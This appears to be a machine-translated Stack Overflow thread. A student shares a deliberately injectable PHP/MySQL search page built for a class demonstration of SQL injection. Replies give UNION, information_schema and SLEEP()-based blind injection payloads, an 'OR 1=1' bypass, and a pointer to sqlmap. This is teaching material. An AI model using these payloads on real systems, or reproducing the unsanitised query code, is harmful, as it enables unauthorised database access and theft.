2017-04-23 69 views
2

我在寫一個演示網頁來顯示類項目的SQL注入技術。我幾乎可以肯定,它是以正確的方式編碼的,但是我無法使實際的注入工作。該代碼應該從HTML文本框輸入並檢查名爲「stock」的表並輸出結果(如果有的話)。這裏是代碼的相關部分:不能sql注入我的代碼

<?php 
//connect to db 
    $con = @mysql_connect('localhost','root','Secure') or die('Failed.'); 
    mysql_select_db('test', $con) or die('Could not select database.'); 
?> 

<!-- <div>Text box, takes user input for a search</div>--> 
<div class="center"> 
<form action="index.php" method="post"> 
    <p>Search: <input type="text" name="lookup" placeholder="Whatchu tryna find?"></p> 
    <br> 
    <p class= button ><input type="submit" name="search" value="search" size="100"></p> 
</form> 
</div> 
<!-- <div>End of HTML code</div>--> 

<?php 

//Check if there is input, then put it in a variable called $search 
if(isset($_POST['lookup'])){ 
     $search = $_POST['lookup']; 
     if(empty($search)){ 
      echo "Fill in all the fields"; 
      exit(); 
     } 
    } 
//Query statement, held by $query 
$query = mysql_query("SELECT * FROM `stock` WHERE `Name` LIKE '%$search%'"); 

//Take results from $query, output them 
while ($list = mysql_fetch_assoc($query)){ 

echo 'Item: ' . $list['Name'] . '<br>'; 
echo 'Price: $' . $list['Price'] . '<br>'; 
echo 'Stock: ' . $list['Quantity'] . '<br>'; 
} 
?> 

我可以成功地搜索「股票」表,我可以通過搜索%或通過輸入http://localhost/index.php?search=hammer%20OR%201=1到瀏覽器中的表輸出一切。但這就是我迄今爲止所能做的。

有沒有什麼我可以在這段代碼中改變,以使SQLi更容易?或者我的SQLi技術出了問題?只要我可以顯示多種技術,從文本框或地址欄中注入發生的地方並不重要。我可以從地址欄中轉儲表,但我想要顯示sleep()函數以及導航到其他表的信息,並從我的服務器中的其他數據庫轉儲信息。但我很難找出如何做到這一點。

最後,有沒有任何人都知道的SQLI腳本或程序可以運行在我的本地主機上?我仍然需要演示手動技巧,但我認爲向班級展示一個合適的工具能夠攻擊易受攻擊的網站有多快是一件好事。很明顯,我只會在我的項目中使用這個,因爲我不想進監獄。

編輯:帖子How can I prevent SQL injection in PHP?被鏈接,它似乎很詳細,但不是我所期待的,因爲我需要知道如何打破網站,而不是解決它。這個問題的確似乎與我的SQLi技術。

+0

[sqlmap](https:// github。com/sqlmapproject/sqlmap)是一個很好的SQL注入工具 – Blag

+0

[我怎樣才能防止PHP中的SQL注入?](http://stackoverflow.com/questions/60174/how-can-i-prevent-sql -injection-in-php) – Qirel

+0

如果你在你的表單中執行'whatever'或1 = 1 - ',它將完全繞過LIKE。這是SQL注入。 – Qirel

回答

4

爲MySQL注射的最常見的技術是:

  1. 濫用UNION把一個查詢的一個表到查詢任何表或值,例如

     
    SELECT * FROM `stock` WHERE `Name` LIKE '' AND 0 UNION SELECT 
        DATABASE(), VERSION(), USER() 
    --' 
    

    粗體部分代表注入的內容。

  2. 使用information_schema數據庫來獲取元數據,例如表和列的名稱,例如,

     
    SELECT TABLE_NAME FROM information_schema.tables 
        WHERE TABLE_SCHEMA = 'my_database' 
    
    SELECT COLUMN_NAME FROM information_schema.columns 
        WHERE TABLE_SCHEMA = 'my_database' AND TABLE_NAME = 'a_table' 
    
  3. 如果注射不顯示任何結果,使用SLEEP()功能,使真/假的查詢,如:

     
    SELECT SLEEP(2) FROM some_table WHERE id = 1 AND value LIKE 'a%' LIMIT 1 
    

    這會睡兩秒鐘,如果1 ID列有以「a」開頭的值,否則立即返回。您可以使用一系列這些查詢來慢慢猜測一行的內容。 (例如:它與「一」開始否其與「B」開頭是它是否有「巴」開始... ?。?。?)

    這種技術被稱爲SQL盲注射

0

嘗試在搜索字段中輸入:';一些查詢在這裏; #